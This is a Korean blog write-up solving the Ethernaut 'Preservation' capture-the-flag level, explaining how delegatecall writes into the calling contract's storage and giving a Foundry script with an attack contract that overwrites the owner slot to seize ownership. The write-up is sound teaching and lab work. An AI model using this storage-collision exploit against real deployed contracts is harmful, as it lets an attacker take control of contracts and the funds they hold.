// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
owner권한을 탈취하면 된다.
해당 코드를 보면은 setFirstTime과 setSecondTime에서 각각 timeZon1Library.delegatecall을 통해 LibraryContract의 setTime을 호출하고 있다.
아마 constructor에서 LibraryContract 두개를 timeZone1Library와 timeZone2Library에 넣었을 것이다.
여기서 owner권한을 탈취하려면 delegatecall에 대해서 알아야 한다.
delegatecall이란?
컨트랙트 A를 통해 컨트랙트 B 호출시 B의 Storage를 변경시키지 않고, B의 코드를 A에서 실행합니다.
즉, LibraryContract의 setTime함수를 Preservation에서 호출하는 것이다.
대신, 저장소는 바뀌지 않는다.
여기서 저장소가 바뀌지 않는다는 소리는 이 경우에선 setTime을 통해 storedTime값을 바꾸고 있다.
LibraryContract에서는 storedTime의 slot위치가 0인데 delegatecall함수를 통해 호출 시 컨트랙트의 storage위치는 변경되지 않으므로 LibraryContract의 0번 슬롯이 아닌 Preservation의 0번 슬롯이 변경된다.
즉, setFirstTime함수를 호출하면 timeZone1Libary의 값이 변경된다.
이를 사용해서 timeZone1Library를 악성 contract로 변경 후, 악성 contract의 setTime함수에서 2번 슬롯(owner)값을 내 지갑 주소로 변경하는 코드를 짜주면 owner탈취가 가능할 것이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/preservation.sol";
contract Attack {
uint256 storedTime;
Preservation public target;
constructor(Preservation _target){
target = _target;
}
function setTime(uint256 _time) public{
assembly {
sstore(2, 0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C)
}
}
function attack() external{
target.setSecondTime(uint256(uint160(address(this))));
console.log(address(this));
target.setFirstTime(uint256(uint160(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C)));
}
}
contract PreservationSolve is Script {
Preservation public target;
function setUp() external{
address payable targetAddress = payable(0xa89cb872b47208Ad49DAD7996efEe4E97340113B);
target = Preservation(targetAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
Attack attacker = new Attack(target);
attacker.attack();
vm.stopBroadcast();
}
}
attack함수에서 setFirstTime을 호출시에 인자로 아무값이나 넣어줘도 상관없다.
어짜피 setTime함수만 호출이 되면 owner가 내 지갑주소로 바뀔 것이다.
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Magic Number (0) | 2025.02.02 |
---|---|
[The Ethernaut] Recovery (0) | 2025.02.02 |
[The Ethernaut] Naught Coin (0) | 2025.02.02 |
[The Ethernaut] Gatekeepr Two (0) | 2025.01.31 |
[The Ethernaut] Gatekeeper One (0) | 2025.01.31 |